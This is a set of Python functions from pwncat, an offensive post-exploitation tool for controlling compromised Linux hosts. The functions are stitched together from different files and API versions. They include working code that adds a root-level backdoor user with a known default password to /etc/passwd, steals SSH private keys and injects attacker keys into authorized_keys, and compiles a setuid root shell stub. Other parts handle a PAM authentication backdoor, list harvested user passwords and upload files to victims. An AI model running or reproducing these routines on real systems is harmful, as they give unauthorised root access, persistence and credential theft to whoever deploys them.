def log(self, *args, **kwargs): """Output a log entry""" if self.target is not None and self.target._progress is not None: self.target._progress.log(*args, **kwargs) else: console.log(*args, **kwargs)
def run(self, args): if not args.module and pwncat.config.module is None: console.log("[red]error[/red]: no module specified") return if args.module: try: module = pwncat.modules.find(args.module) except KeyError: console.log(f"[red]error[/red]: {args.module}: no such module") return else: module = pwncat.config.module console.print( f"[bold underline]Module [cyan]{module.name}[/cyan][/bold underline]" ) console.print( textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") + "\n") table = Table("Argument", "Default", "Help", box=box.MINIMAL_DOUBLE_HEAD) for arg, info in module.ARGUMENTS.items(): if info.default is pwncat.modules.NoValue: default = "" else: default = info.default table.add_row(arg, str(default), info.help) console.print(table)
def run(self, args): # Ensure we confirmed we want to exit if not args.yes: console.log("[red]error[/red]: exit not confirmed (use '--yes')") return # Get outa here! raise EOFError
def run(self, manager: "pwncat.manager.Manager", args): try: module = list(manager.target.find_module(args.module, exact=True))[0] except IndexError: console.log(f"[red]error[/red]: {args.module}: no such module") return manager.target.config.use(module)
def run(self, args): # Ensure we confirmed we want to exit if not args.yes: console.log("[red]error[/red]: exit not confirmed (use '--yes')") return # Get outa here! raise pwncat.util.CommandSystemExit
def run(self, args): try: module = pwncat.modules.find(args.module) except KeyError: console.log( f"[red]error[/red]: {args.module}: invalid module name") return pwncat.config.use(module)
def run(self, manager, args): if args.password and manager.target is None: manager.log( "[red]error[/red]: active target is required for user interaction" ) return elif args.password: if args.variable is None: found = False for user in manager.target.run("enumerate", types=["user"]): if user.password is not None: console.print( f" - [green]{user.name}[/green] -> [red]{repr(user.password)}[/red]" ) found = True if not found: console.log( "[yellow]warning[/yellow]: no known user passwords") else: user = manager.target.find_user(name=args.variable) if user is None: manager.target.log( "[red]error[/red]: {args.variable}: user not found") return console.print( f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]" ) user.password = args.value manager.target.db.transaction_manager.commit() else: if args.variable is not None and args.value is not None: try: if manager.sessions and args.variable == "db": raise ValueError( "cannot change database with running session") manager.config.set(args.variable, args.value, getattr(args, "global")) if args.variable == "db": # Ensure the database is re-opened, if it was already manager.open_database() except ValueError as exc: console.log(f"[red]error[/red]: {exc}") elif args.variable is not None: value = manager.config[args.variable] console.print( f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]" ) else: for name in manager.config: value = manager.config[name] console.print( f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]" )
def remove(self, user: Optional[str] = None): """ Remove this method """ try: # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Remove the the module pwncat.victim.env( ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" # Remove this auth method from the following pam configurations for config in ["sshd", "sudo", "su", "login"]: config = os.path.join("/etc/pam.d", config) try: with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # Add this auth statement before the first auth statement content = [line for line in content if line != new_line] content = "".join(content) try: with pwncat.victim.open( config, "w", length=len(content) ) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue else: raise PersistenceError("insufficient permissions") except FileNotFoundError as exc: # Uh-oh, some binary was missing... I'm not sure what to do here... console.log(f"[red]error[/red]: {exc}")
def run(self, args): # Create a progress bar for the download progress = Progress( TextColumn("[bold cyan]{task.fields[filename]}", justify="right"), BarColumn(bar_width=None), "[progress.percentage]{task.percentage:>3.1f}%", "•", DownloadColumn(), "•", TransferSpeedColumn(), "•", TimeRemainingColumn(), ) if not args.destination: args.destination = f"./{os.path.basename(args.source)}" else: access = pwncat.victim.access(args.destination) if Access.DIRECTORY in access: args.destination = os.path.join(args.destination, os.path.basename(args.source)) elif Access.PARENT_EXIST not in access: console.log( f"[cyan]{args.destination}[/cyan]: no such file or directory" ) return try: length = os.path.getsize(args.source) started = time.time() with progress: task_id = progress.add_task("upload", filename=args.destination, total=length, start=False) with open(args.source, "rb") as source: with pwncat.victim.open(args.destination, "wb", length=length) as destination: progress.start_task(task_id) copyfileobj( source, destination, lambda count: progress.update(task_id, advance=count), ) elapsed = time.time() - started console.log(f"uploaded [cyan]{human_readable_size(length)}[/cyan] " f"in [green]{human_readable_delta(elapsed)}[/green]") except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
def escalate(self, session: "pwncat.manager.Session"): try: with session.platform.open("/etc/passwd", "r") as filp: passwd_contents = list(filp) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to read /etc/passwd") backdoor_user = session.config.get("backdoor_user", "pwncat") backdoor_pass = session.config.get("backdoor_pass", "pwncat") shell = session.platform.getenv("SHELL") # Hash the backdoor password backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512) if not any( line.startswith(f"{backdoor_user}:") for line in passwd_contents): # Add our password "".join(passwd_contents) new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" passwd_contents.append(new_line) try: # Write the modified password entry back with self.ability.open(session, "/etc/passwd", "w") as filp: filp.writelines(passwd_contents) # Ensure we track the tampered file session.register_fact( PasswdImplant( "linux.implant.passwd", backdoor_user, backdoor_pass, new_line, )) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to write /etc/passwd") else: console.log( f"[cyan]{backdoor_user}[/cyan] already exists; attempting authentication" ) try: session.platform.su(backdoor_user, password=backdoor_pass) return lambda session: session.platform.channel.send(b"exit\n") except PermissionError: raise ModuleFailed("added user, but switch user failed")
def run(self, args): if args.action == "install": pwncat.victim.bootstrap_busybox(args.url) elif args.action == "list": if pwncat.victim.host.busybox is None: console.log( "[red]error[/red]: " "busybox is not installed (hint: run 'busybox --install')") return # Find all binaries which are provided by busybox provides = pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) for binary in provides: console.print(f" - {binary.name}") elif args.action == "status": if pwncat.victim.host.busybox is None: console.log( "[red]error[/red]: busybox hasn't been installed yet") return console.log( f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]" ) # Find all binaries which are provided from busybox nprovides = (pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ).with_entities(func.count()).scalar()) console.log(f"busybox provides [green]{nprovides}[/green] applets")
def run(self, manager: "pwncat.manager.Manager", args): # Create a progress bar for the download progress = Progress( TextColumn("[bold cyan]{task.fields[filename]}", justify="right"), BarColumn(bar_width=None), "[progress.percentage]{task.percentage:>3.1f}%", "•", DownloadColumn(), "•", TransferSpeedColumn(), "•", TimeRemainingColumn(), ) if not args.destination: args.destination = f"./{os.path.basename(args.source)}" try: length = os.path.getsize(args.source) started = time.time() with progress: task_id = progress.add_task("upload", filename=args.destination, total=length, start=False) with open(args.source, "rb") as source: with manager.target.platform.open(args.destination, "wb") as destination: progress.start_task(task_id) copyfileobj( source, destination, lambda count: progress.update(task_id, advance=count), ) progress.update(task_id, filename="draining buffers...") progress.stop_task(task_id) progress.start_task(task_id) progress.update(task_id, filename=args.destination) elapsed = time.time() - started console.log(f"uploaded [cyan]{human_readable_size(length)}[/cyan] " f"in [green]{human_readable_delta(elapsed)}[/green]") except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
def run(self, args): if args.action == "revert": if args.all: tampers = list(pwncat.victim.tamper) else: try: tampers = [pwncat.victim.tamper[args.tamper]] except KeyError: console.log("[red]error[/red]: invalid tamper id") return self.revert(tampers) else: for ident, tamper in enumerate(pwncat.victim.tamper): console.print(f" [cyan]{ident}[/cyan] - {tamper}")
def eval(self, source: str, name: str = "<script>"): """ Evaluate the given source file. This will execute the given string as a script of commands. Syntax is the same except that commands may be separated by semicolons, comments are accepted as following a "#" and multiline strings are supported with '"{' and '}"' as delimeters. """ in_multiline_string = False lineno = 1 for command in resolve_blocks(source): try: self.dispatch_line(command) except Exception as exc: console.log( f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}" ) break
def run(self, manager: "pwncat.manager.Manager", args): if args.list or (not args.kill and args.session_id is None): table = Table(title="Active Sessions", box=box.MINIMAL_DOUBLE_HEAD) table.add_column("ID") table.add_column("User") table.add_column("Host ID") table.add_column("Platform") table.add_column("Type") table.add_column("Address") for session_id, session in manager.sessions.items(): ident = str(session_id) kwargs = {"style": ""} if session is manager.target: ident = "*" + ident kwargs["style"] = "underline" table.add_row( str(ident), session.current_user().name, str(session.hash), session.platform.name, str(type(session.platform.channel).__name__), str(session.platform.channel), **kwargs, ) console.print(table) return if args.session_id is None: console.log("[red]error[/red]: no session id specified") return # check if a session with the provided ``session_id`` exists or not if args.session_id not in manager.sessions: console.log(f"[red]error[/red]: {args.session_id}: no such session!") return session = manager.sessions[args.session_id] if args.kill: channel = str(session.platform.channel) session.close() console.log(f"session-{args.session_id} ({channel}) closed") return manager.target = session console.log(f"targeting session-{args.session_id} ({session.platform.channel})")
def list_abilities(self, manager, args): """This is just a wrapper for `run enumerate types=escalate.*`, but it makes the workflow for escalation more apparent.""" found = False if args.user: args.user = manager.target.find_user(name=args.user) for escalation in manager.target.run("enumerate", types=["escalate.*"]): if args.user and args.user.id != escalation.uid: continue console.print(f"- {escalation.title(manager.target)}") found = True if not found and args.user: console.log( f"[yellow]warning[/yellow]: no direct escalations for {args.user.name}" ) elif not found: console.log("[yellow]warning[/yellow]: no direct escalations found")
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) # Build the victim object pwncat.victim = Victim() # Arguments to `pwncat` are considered arguments to `connect` # We use the `prog_name` argument to make the help for "connect" # display "pwncat" in the usage. This is just a visual fix, and # isn't used anywhere else. pwncat.victim.command_parser.dispatch_line(shlex.join(["connect"] + sys.argv[1:]), prog_name="pwncat") # Only continue if we successfully connected if not pwncat.victim.connected: exit(0) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(pwncat.victim.client, selectors.EVENT_READ, "read") # Initialize our state done = False try: # This loop is only used to funnel data between the local # and remote hosts when in raw mode. During the `pwncat` # prompt, the main loop is handled by the CommandParser # class `run` method. while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() console.log( "[yellow]warning[/yellow]: connection reset by remote host") except SystemExit: console.log("closing connection") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass console.log("local terminal restored")
def run(self, args): if args.password: if args.variable is None: found = False for name, user in pwncat.victim.users.items(): if user.password is not None: console.print( f" - [green]{user}[/green] -> [red]{repr(user.password)}[/red]" ) found = True if not found: console.log( "[yellow]warning[/yellow]: no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") console.print( f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]" ) pwncat.victim.users[args.variable].password = args.value else: if (args.variable is not None and args.variable == "state" and args.value is not None): try: pwncat.victim.state = State._member_map_[ args.value.upper()] except KeyError: console.log( f"[red]error[/red]: {args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value if args.variable == "db": # We handle this specially to ensure the database is available # as soon as this config is set pwncat.victim.engine = create_engine( pwncat.victim.config["db"], echo=False) pwncat.db.Base.metadata.create_all( pwncat.victim.engine) # Create the session_maker and default session if pwncat.victim.session is None: pwncat.victim.session_maker = sessionmaker( bind=pwncat.victim.engine) pwncat.victim.session = pwncat.victim.session_maker( ) except ValueError as exc: console.log(f"[red]error[/red]: {exc}") elif args.variable is not None: value = pwncat.victim.config[args.variable] console.print( f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]" ) else: for name in pwncat.victim.config: value = pwncat.victim.config[name] console.print( f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]" )
def run(self, args): # Get the terminal type TERM = os.environ.get("TERM", None) if TERM is None: if not args.quiet: console.log( "[yellow]warning[/yellow]: no local [blue]TERM[/blue]; falling back to 'xterm'" ) TERM = "xterm" # Get the width and height columns, rows = os.get_terminal_size(0) # Update the state pwncat.victim.run( f"stty rows {rows}; stty columns {columns}; export TERM='{TERM}'") if not args.quiet: console.log( "[green]:heavy_check_mark:[/green] terminal state synchronized", emoji=True, )
def run(self, manager: "pwncat.manager.Manager", args): if not args.module and manager.config.module is None: console.log("[red]error[/red]: no module specified") return if args.module: try: module = next(manager.target.find_module(args.module, exact=True)) module_name = args.module except StopIteration: console.log(f"[red]error[/red]: {args.module}: no such module") return else: module = manager.config.module module_name = module.name.removeprefix("agnostic.") if self.manager.target is not None: module_name = module_name.removeprefix( self.manager.target.platform.name + "." ) console.print( f"[bold underline]Module [cyan]{module_name}[/cyan][/bold underline]" ) console.print( textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") + "\n" ) table = Table("Argument", "Default", "Help", box=box.SIMPLE) for arg, info in module.ARGUMENTS.items(): if info.default is pwncat.modules.NoValue: default = "" else: default = info.default table.add_row(arg, str(default), info.help) console.print(table)
def eval(self, source: str, name: str = "<script>"): """Evaluate the given source file. This will execute the given string as a script of commands. Syntax is the same except that commands may be separated by semicolons, comments are accepted as following a "#" and multiline strings are supported with '"{' and '}"' as delimeters.""" for command in resolve_blocks(source): try: self.dispatch_line(command) except ChannelClosed as exc: # A channel was unexpectedly closed self.manager.log( f"[yellow]warning[/yellow]: {exc.channel}: channel closed") # Ensure any existing sessions are cleaned from the manager exc.cleanup(self.manager) except pwncat.manager.InteractiveExit: # Within a script, `exit` means to exit the script, not the # interpreter break except Exception as exc: console.log( f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}" ) break
def escalate_single( self, techniques: List["Technique"], shlvl: str, progress: Progress, task, ) -> Tuple[Optional["Technique"], str]: """ Use the given list of techniques to escalate to the user. All techniques should be for the same user. This method will attempt a variety of privesc methods. Primarily, it will directly execute any techniques which provide the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd if the target user is root. Lastly, it will try to escalate using a local SSH server combined with READ/WRITE capabilities to gain a local shell. This is, by far, the most disgusting function in all of `pwncat`. I'd like to clean it up, but I'm not sure how to break this up. It's all one continuous line of logic. It's meant to implement all possible privilege escalation methods for one user given a list of techniques for that user. The largest chunk of this is the SSH part, which needs to check that SSH exists, then try various methods to either leak or write private keys for the given user. """ readers: List[Technique] = [] writers: List[Technique] = [] for technique in techniques: if Capability.SHELL in technique.capabilities: try: progress.update(task, step=f"attempting {technique}") # Attempt our basic, known technique exit_script = technique.method.execute(technique) pwncat.victim.flush_output(some=True) # Reset the terminal to ensure we are stable time.sleep( 0.1) # This seems inevitable for some privescs... pwncat.victim.reset(hard=False) # Check that we actually succeeded current = pwncat.victim.update_user() if current == technique.user or ( technique.user == pwncat.victim.config["backdoor_user"] and current == "root"): progress.update(task, step=f"{technique} succeeded!") pwncat.victim.flush_output() return technique, exit_script # Check if we ended up in a sub-shell without escalating if pwncat.victim.getenv("SHLVL") != shlvl: # Get out of this subshell. We don't need it # pwncat.victim.process(exit_script, delim=False) pwncat.victim.run(exit_script, wait=False) time.sleep( 0.1) # Still inevitable for some privescs... pwncat.victim.recvuntil("\n") # Clean up whatever mess was left over pwncat.victim.flush_output() pwncat.victim.reset(hard=False) shlvl = pwncat.victim.getenv("SHLVL") # The privesc didn't work, but didn't throw an exception. # Continue on as if it hadn't worked. except PrivescError: pass except ValueError: raise PrivescError if Capability.READ in technique.capabilities: readers.append(technique) if Capability.WRITE in technique.capabilities: writers.append(technique) if writers and writers[0].user == "root": # We need su to privesc w/ file write su_command = pwncat.victim.which("su", quote=True) if su_command is not None: # Grab the first writer writer = writers[0] progress.update( task, step="attempting [cyan]/etc/passwd[/cyan] overwrite") # Read /etc/passwd with pwncat.victim.open("/etc/passwd", "r") as filp: lines = filp.readlines() # Add a new user password = crypt.crypt(pwncat.victim.config["backdoor_pass"]) user = pwncat.victim.config["backdoor_user"] lines.append( f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n") # Join the data back and encode it data = ("".join(lines)).encode("utf-8") # Write the data writer.method.write_file("/etc/passwd", data, writer) # Maybe help? pwncat.victim.run("echo") progress.update(task, step="reloading users") # Check that it succeeded users = pwncat.victim.reload_users() # Check if the new passwd file contained the file if user in users: progress.update( task, step= "[cyan]/etc/passwd[/cyan] overwrite [green]succeeded![/green]", ) # Log our tamper of this file pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=lines[-1:]) pwncat.victim.users[user].password = pwncat.victim.config[ "backdoor_pass"] self.backdoor_user = pwncat.victim.users[user] # Switch to the new user # pwncat.victim.process(f"su {user}", delim=False) pwncat.victim.process(f"su {user}", delim=True) pwncat.victim.recvuntil(": ") pwncat.victim.client.send( pwncat.victim.config["backdoor_pass"].encode("utf-8") + b"\n") pwncat.victim.flush_output() return writer, "exit" else: progress.update( task, step= "[cyan]/etc/passwd[/cyan] overwrite [red]failed[/red]", ) sshd_running = False for fact in pwncat.victim.enumerate.iter("system.service"): progress.update(task, step="enumerating remote services") if "sshd" in fact.data.name and fact.data.state == "running": sshd_running = True if sshd_running: sshd_listening = True sshd_address = "127.0.0.1" else: sshd_listening = False sshd_address = None used_technique = None if sshd_running and sshd_listening: # We have an SSHD and we have a file read and a file write # technique. We can attempt to leverage this to use SSH to ourselves # and gain access as this user. progress.update( task, step= f"[red]sshd[/red] is listening at [cyan]{sshd_address}:22[/cyan]", ) authkeys_path = ".ssh/authorized_keys" try: with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp: for line in filp: if line.startswith("AuthorizedKeysFile"): authkeys_path = line.strip().split()[-1] except PermissionError: # We couldn't read the file. Assume they are located in the default home directory location authkeys_path = ".ssh/authorized_keys" # AuthorizedKeysFile is normally relative to the home directory if not authkeys_path.startswith("/"): # Grab the user information from /etc/passwd home = pwncat.victim.users[techniques[0].user].homedir if home == "" or home is None: raise PrivescError( "no user home directory, can't add ssh keys") authkeys_path = os.path.join(home, authkeys_path) progress.update( task, step=f"authorized keys at [cyan]{authkeys_path}[/cyan]") authkeys = [] privkey_path = None privkey = None if readers: reader = readers[0] with reader.method.read_file(authkeys_path, reader) as filp: authkeys = [line.strip().decode("utf-8") for line in filp] # Some payloads will return the stderr of the file reader. Check # that the authorized_keys even existed if len(authkeys) == 1 and "no such file" in authkeys[0].lower( ): authkeys = [] # We need to read each of the users keys in the ".ssh" directory # to see if they contain a public key that is already allowed on # this machine. If so, we can read the private key and # authenticate without a password and without clobbering their # keys. ssh_key_glob = os.path.join( pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub") # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8") keys = ["id_rsa.pub"] keys = [ os.path.join(pwncat.victim.users[reader.user].homedir, ".ssh", key) for key in keys ] # Iterate over each public key found in the home directory for pubkey_path in keys: if pubkey_path == "": continue progress.update( task, step= f"checking [cyan]{pubkey_path}[/cyan] against authorized_keys", ) # Read the public key with reader.method.read_file(pubkey_path, reader) as filp: pubkey = filp.read().strip().decode("utf-8") # Check if it matches if pubkey in authkeys: progress.update( task, step= (f"[green]{os.path.basename(pubkey_path)}[/green] " f"is an authorized key"), ) # remove the ".pub" to find the private key privkey_path = pubkey_path.replace(".pub", "") # Make sure the private key exists if (b"no such file" in pwncat.victim.run( f"file {privkey_path}").lower()): progress.update( task, step= (f"[cyan]{os.path.basename(pubkey_path)}[/cyan] " "has no private key"), ) continue progress.update(task, step=f"downloading private key") with reader.method.read_file(privkey_path, reader) as filp: privkey = filp.read().strip().decode("utf-8") # The terminal adds \r most of the time. This is a text # file so this is safe. privkey = privkey.replace("\r\n", "\n") # Ensure we remember that we found this user's private key! pwncat.victim.enumerate.add_fact( "private_key", PrivateKeyFact( pwncat.victim.users[reader.user].id, privkey_path, privkey, encrypted=False, ), "pwncat.privesc.Finder", ) used_technique = reader break else: privkey_path = None privkey = None elif writers: # TODO this needs to be updated to work in the middle of a rich progress console.log( f"[yellow]warning[/yellow]: no readers found for [green]{techniques[0].user}[/green] " f"however, we do have a writer.") response = console.input( "Would you like to clobber their authorized keys? (y/N) " ).lower() if response != "y": raise PrivescError("user aborted key clobbering") # If we don't already know a private key, then we need a writer if privkey_path is None and not writers: raise PrivescError("no writers available to add private keys") # Everything looks good so far. We are adding a new private key. so we # need to read in the private key and public key, then add the public # key to the user's authorized_keys. The next step will upload the # private key in any case. if privkey_path is None: writer = writers[0] # Write our private key to a random location with open(pwncat.victim.config["privkey"], "r") as src: privkey = src.read() with open(pwncat.victim.config["privkey"] + ".pub", "r") as src: pubkey = src.read().strip() # Add our public key to the authkeys authkeys.append(pubkey) progress.update( task, step="adding our public key to authorized keys") # Write the file writer.method.write_file(authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer) if not readers: # We couldn't read their authkeys, but log that we clobbered it. # The user asked us to. At least create an un-removable tamper # noting that we clobbered this file. pwncat.victim.tamper.modified_file(authkeys_path) # We now have a persistence method for this user no matter where # we are coming from. We need to track this. pwncat.victim.persist.register("authorized_keys", writer.user) used_technique = writer # SSH private keys are annoying and **NEED** a newline privkey = privkey.strip() + "\n" progress.update(task, step="writing private key to temp file") with pwncat.victim.tempfile("w", length=len(privkey)) as dst: # Write the file with a nice progress bar dst.write(privkey) # Save the path to the private key. We don't need the original path, # if there was one, because the current user can't access the old # one directly. privkey_path = dst.name # Log that we created a file pwncat.victim.tamper.created_file(privkey_path) # Ensure the permissions are right so ssh doesn't freak out pwncat.victim.run(f"chmod 600 {privkey_path}") # Run ssh as the given user with our new private key progress.update( task, step= f"attempting local [red]ssh[/red] as [green]{techniques[0].user}[/green]", ) ssh = pwncat.victim.which("ssh") # First, run a test to make sure we authenticate command = ( f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no " f"{techniques[0].user}@127.0.0.1") output = pwncat.victim.run(f"{command} echo good") # Check if we succeeded if b"good" not in output: raise PrivescError("ssh private key failed") # Great! Call SSH again! pwncat.victim.process(command) # Pretty sure this worked! return used_technique, "exit" raise PrivescError(f"unable to achieve shell as {techniques[0].user}")
def run(self, args): ident = pwncat.victim.id # Ensure we are actually EUID=0 if ident["euid"]["id"] != 0: console.log("euid is not 0") return # Check that UID != EUID if ident["uid"]["id"] == 0: console.log("no euid/uid mismatch detected") return # First try to escalate with python. This removes the need # for any system modifications. Which will resolve a variety # of python verions including "python2" and "python3". python = pwncat.victim.which("python") if python is not None: console.log("attempting [yellow]python-based[/yellow] fix") pwncat.victim.run(python, wait=False) pwncat.victim.client.send(b"import os\n") pwncat.victim.client.send(b"os.setuid(0)\n") pwncat.victim.client.send(b"os.setgid(0)\n") pwncat.victim.client.send( f'os.system("{pwncat.victim.shell}")\n'.encode("utf-8") ) time.sleep(0.5) ident = pwncat.victim.id if ident["uid"]["id"] == ident["euid"]["id"]: console.log("euid/uid mismatch [green]corrected[/green]!") pwncat.victim.reset(hard=False) return console.log("python-based fix [red]failed[/red]") # Quick and simple UID=EUID fix fix_source = textwrap.dedent( """ #include <stdio.h> int main(int argc, char** argv) { setuid(0); setgid(0); execl("{0}", "{0}", NULL); } """.replace( "{0}", pwncat.victim.shell ) ) # See if we can compile it try: console.log("attempting [yellow]c-based[/yellow] fix") remote_binary = pwncat.victim.compile([StringIO(fix_source)]) # Appears to have went well, try to execute pwncat.victim.run(remote_binary, wait=False) # Give it some time to catch up time.sleep(0.5) # Remove the binary pwncat.victim.env(["rm", "-f", remote_binary]) ident = pwncat.victim.id if ident["uid"]["id"] == ident["euid"]["id"]: console.log("euid/uid corrected!") pwncat.victim.reset(hard=False) return except CompilationError: console.log( "[yellow]warning[/yellow]: compilation failed, attempting persistence" ) # Installation/removal of privilege escalation methods can take time, # so we start a progress bar. with Progress( "[progress.description]{task.fields[status]}", BarColumn(bar_width=None), "[progress.percentage]{task.percentage:>3.0f}%", TimeRemainingColumn(), ) as progress: methods = list(pwncat.victim.persist.available) task_id = progress.add_task("", total=len(methods), status="initializing") for method in methods: progress.update( task_id, status=f"installing [yellow]{method.name}[/yellow]", advance=1, ) # Depending on the method type, we may need to specify a user if method.system: user = None else: user = "******" try: # Attempt to install pwncat.victim.persist.install(method.name, user) except PersistenceError: # This one failed :( try another continue try: # Install succeeded, attempt to escalate progress.update( task_id, status=f"[yellow]{method.name}[/yellow] installed" ) method.escalate(user) pwncat.victim.reset(hard=False) progress.update( task_id, status=f"[yellow]{method.name}[/yellow] succeeded!", completed=len(methods), ) progress.log( f"[yellow]{method.name}[/yellow] succeeded; mismatch [green]fixed[/green]!" ) progress.update(task_id, visible=False) break except PersistenceError: # Escalation failed, remove persistence :( pwncat.victim.persist.remove(method.name, user)
def generate_report(self, report_path: str): """ Generate a markdown report of enumeration data for the remote host. This report is generated from all facts which pwncat is capable of enumerating. It does not need nor honor the type or provider options. """ # Dictionary mapping type names to facts. Each type name is mapped # to a dictionary which maps sources to a list of facts. This makes # organizing the output report easier. report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} system_details = [] try: # Grab hostname hostname = pwncat.victim.enumerate.first("system.hostname").data system_details.append(["Hostname", util.escape_markdown(hostname)]) except ValueError: hostname = "[unknown-hostname]" # Not provided by enumerate, but natively known due to our connection system_details.append( ["Primary Address", util.escape_markdown(pwncat.victim.host.ip)]) system_details.append( ["Derived Hash", util.escape_markdown(pwncat.victim.host.hash)]) try: # Grab distribution distro = pwncat.victim.enumerate.first("system.distro").data system_details.append([ "Distribution", util.escape_markdown( f"{distro.name} ({distro.ident}) {distro.version}"), ]) except ValueError: pass try: # Grab the architecture arch = pwncat.victim.enumerate.first("system.arch").data system_details.append( ["Architecture", util.escape_markdown(arch.arch)]) except ValueError: pass try: # Grab kernel version kernel = pwncat.victim.enumerate.first( "system.kernel.version").data system_details.append([ "Kernel", util.escape_markdown( f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}" ), ]) except ValueError: pass try: # Grab SELinux State selinux = pwncat.victim.enumerate.first("system.selinux").data system_details.append( ["SELinux", util.escape_markdown(selinux.state)]) except ValueError: pass try: # Grab ASLR State aslr = pwncat.victim.enumerate.first("system.aslr").data system_details.append( ["ASLR", "disabled" if aslr.state == 0 else "enabled"]) except ValueError: pass try: # Grab init system init = pwncat.victim.enumerate.first("system.init").data system_details.append( ["Init", util.escape_markdown(str(init.init))]) except ValueError: pass try: # Check if we are in a container container = pwncat.victim.enumerate.first("system.container").data system_details.append( ["Container", util.escape_markdown(container.type)]) except ValueError: pass # Build the table writer for the main section table_writer = MarkdownTableWriter() table_writer.headers = ["Property", "Value"] table_writer.column_styles = [ pytablewriter.style.Style(align="right"), pytablewriter.style.Style(align="center"), ] table_writer.value_matrix = system_details table_writer.margin = 1 # Note enumeration data we don't need anymore. These are handled above # in the system_details table which is output with the table_writer. ignore_types = [ "system.hostname", "system.kernel.version", "system.distro", "system.init", "system.arch", "system.aslr", "system.container", ] # This is the list of known enumeration types that we want to # happen first in this order. Other types will still be output # but will be output in an arbitrary order following this list ordered_types = [ # Sudo privileges "sudo", # Possible kernel exploits - very important "system.kernel.exploit", # Enumerated user passwords - very important "system.user.password", # Enumerated possible user private keys - very important "system.user.private_key", # Directories in our path that are writable "writable_path", ] # These types are very noisy. They are important for full enumeration, # but are better suited for the end of the list. These are output last # no matter what in this order. noisy_types = [ # System services. There's normally a lot of these "system.service", # Installed packages. There's *always* a lot of these "system.package", ] with Progress( "enumerating report data", "•", "[cyan]{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="initializing") for fact in pwncat.victim.enumerate(): progress.update(task, status=str(fact.data)) if fact.type in ignore_types: continue if fact.type not in report_data: report_data[fact.type] = {} if fact.source not in report_data[fact.type]: report_data[fact.type][fact.source] = [] report_data[fact.type][fact.source].append(fact) try: with open(report_path, "w") as filp: filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n") # Write the system info table table_writer.dump(filp, close_after_write=False) filp.write("\n") # output ordered types first for typ in ordered_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) # output everything that's not a ordered or noisy type for typ, sources in report_data.items(): if typ in ordered_types or typ in noisy_types: continue self.render_section(filp, typ, sources) # Output the noisy types for typ in noisy_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) console.log( f"enumeration report written to [cyan]{report_path}[/cyan]") except OSError as exc: console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
